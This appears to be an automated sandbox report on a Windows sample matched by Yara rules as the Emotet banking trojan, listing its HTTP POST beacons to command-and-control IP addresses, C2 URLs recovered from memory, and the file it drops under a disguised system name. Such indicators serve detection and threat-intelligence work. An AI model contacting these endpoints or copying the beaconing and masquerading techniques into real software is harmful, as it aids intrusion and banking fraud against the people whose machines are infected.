Source: global traffic	HTTP traffic detected: POST /FJlVHXJ3dGgmVB/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 94.23.216.33/FJlVHXJ3dGgmVB/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=------------------Il1zs2mVlo8QKpuKXrHost: 94.23.216.33Content-Length: 4644Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vBtfrqns/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 157.245.99.39/vBtfrqns/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=------------GDD4s9bMfwx0Host: 157.245.99.39:8080Content-Length: 4644Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 137.59.187.107/wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=--------------RXnIInhAfmvjq1Host: 137.59.187.107:8080Content-Length: 4644Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /IBDjcvxbhNBv3Y/nqDclyv1OKh853Z8d/c8YC/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 94.23.237.171/IBDjcvxbhNBv3Y/nqDclyv1OKh853Z8d/c8YC/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=------------------5eHhzpxtLmphkbrh51Host: 94.23.237.171:443Content-Length: 4660Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /yATH/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 61.19.246.238/yATH/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=--------meOftaXJHost: 61.19.246.238:443Content-Length: 4660Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----------------------upXrJchrkYq9xrNYMcg8EMHost: 156.155.166.221Content-Length: 4660Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 71.72.196.159
Source: unknown	TCP traffic detected without corresponding DNS query: 71.72.196.159
Source: unknown	TCP traffic detected without corresponding DNS query: 71.72.196.159
Source: unknown	TCP traffic detected without corresponding DNS query: 71.72.196.159
Source: unknown	TCP traffic detected without corresponding DNS query: 71.72.196.159
Source: unknown	TCP traffic detected without corresponding DNS query: 71.72.196.159
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 134.209.36.254
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 120.138.30.150
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.216.33
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.216.33
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.216.33
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.216.33
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.216.33
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.216.33
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.99.39
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.99.39
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.99.39
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.99.39
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.99.39
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.99.39
Source: unknown	TCP traffic detected without corresponding DNS query: 137.59.187.107
Source: unknown	TCP traffic detected without corresponding DNS query: 137.59.187.107
Source: unknown	TCP traffic detected without corresponding DNS query: 137.59.187.107
Source: unknown	TCP traffic detected without corresponding DNS query: 137.59.187.107
Source: unknown	TCP traffic detected without corresponding DNS query: 137.59.187.107
Source: unknown	TCP traffic detected without corresponding DNS query: 137.59.187.107
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.237.171
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.237.171
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.237.171
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.237.171
Source: unknown	TCP traffic detected without corresponding DNS query: 61.19.246.238
Source: unknown	TCP traffic detected without corresponding DNS query: 61.19.246.238
Source: unknown	TCP traffic detected without corresponding DNS query: 61.19.246.238
Source: unknown	TCP traffic detected without corresponding DNS query: 61.19.246.238
Source: unknown	TCP traffic detected without corresponding DNS query: 156.155.166.221
Source: unknown	TCP traffic detected without corresponding DNS query: 156.155.166.221
Source: unknown	TCP traffic detected without corresponding DNS query: 156.155.166.221
Source: unknown	TCP traffic detected without corresponding DNS query: 156.155.166.221
Source: unknown	TCP traffic detected without corresponding DNS query: 156.155.166.221

Source: unknown

HTTP traffic detected: POST /aoKx6lT2Eqq9moIppG/ExQB/6Redr3THd8vjzdN/FzfGJ5z/btYoJOlmO4gRopK8A/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 71.72.196.159/aoKx6lT2Eqq9moIppG/ExQB/6Redr3THd8vjzdN/FzfGJ5z/btYoJOlmO4gRopK8A/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----------------------wa4T8cPZY0e2iD10iYmCsXHost: 71.72.196.159Content-Length: 4692Cache-Control: no-cache

Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/
Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/)
Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A//h
Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/7
Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/K8A/
Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/K8A/L
Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://134.209.36.254:8080/Jg04eNfDVrhItWur/
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://137.59.187.107:8080/wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://137.59.187.107:8080/wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/E
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap//
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/ET
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002970000.00000004.00000020.00020000.00000000.sdmp, oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://157.245.99.39:8080/vBtfrqns/
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://157.245.99.39:8080/vBtfrqns/&
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://157.245.99.39:8080/vBtfrqns/b
Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, oleaut32.exe, 00000001.00000002.2928785476.0000000002970000.00000004.00000020.00020000.00000000.sdmp, oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.23.216.33/FJlVHXJ3dGgmVB/
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.23.216.33/FJlVHXJ3dGgmVB/8

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 1.2.oleaut32.exe.4f279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.53279e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.53279e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.620000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.oleaut32.exe.4f279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.53052e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.oleaut32.exe.4f052e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.oleaut32.exe.4f052e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.53052e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.oleaut32.exe.5e0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1675139231.0000000000644000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2928434199.00000000020D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Code function: 1_2_005E25A0 CryptAcquireContextW,CryptImportKey,LocalFree,CryptCreateHash,CryptDecodeObjectEx,CryptDecodeObjectEx,CryptGenKey,

1_2_005E25A0

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.oleaut32.exe.4f279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (317).exe.53279e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (317).exe.53279e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (317).exe.620000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 1.2.oleaut32.exe.4f279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (317).exe.53052e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 1.2.oleaut32.exe.4f052e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 1.2.oleaut32.exe.4f052e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (317).exe.53052e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 1.2.oleaut32.exe.5e0000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.1675139231.0000000000644000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000001.00000002.2928434199.00000000020D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown

Source: C:\Users\user\Desktop\ExeFile (317).exe

File created: C:\Windows\SysWOW64\KBDOLDIT\

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe

File deleted: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe:Zone.Identifier

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_006280D0	0_2_006280D0
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00627D60	0_2_00627D60
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00621C70	0_2_00621C70
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00627530	0_2_00627530
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_006263F0	0_2_006263F0
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00539C6E	0_2_00539C6E
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053380E	0_2_0053380E
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_005390CE	0_2_005390CE
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_005398FE	0_2_005398FE
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E80D0	1_2_005E80D0
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E1C70	1_2_005E1C70
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E7D60	1_2_005E7D60
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E7530	1_2_005E7530
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E63F0	1_2_005E63F0
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004F9C6E	1_2_004F9C6E
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004F380E	1_2_004F380E
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004F90CE	1_2_004F90CE
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004F98FE	1_2_004F98FE

Source: ExeFile (317).exe

Static PE information: Resource name: DAGHHHHHTY type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: ExeFile (317).exe, 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenameVfWWDM32.DLLj% vs ExeFile (317).exe
Source: ExeFile (317).exe	Binary or memory string: OriginalFilenameVfWWDM32.DLLj% vs ExeFile (317).exe

Source: ExeFile (317).exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.oleaut32.exe.4f279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (317).exe.53279e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (317).exe.53279e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (317).exe.620000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 1.2.oleaut32.exe.4f279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (317).exe.53052e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 1.2.oleaut32.exe.4f052e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 1.2.oleaut32.exe.4f052e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (317).exe.53052e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 1.2.oleaut32.exe.5e0000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.1675139231.0000000000644000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000001.00000002.2928434199.00000000020D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/0@0/97

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_0040E170 GetLastError,FormatMessageW,_wprintf,

0_2_0040E170

Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0040E220 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,		0_2_0040E220
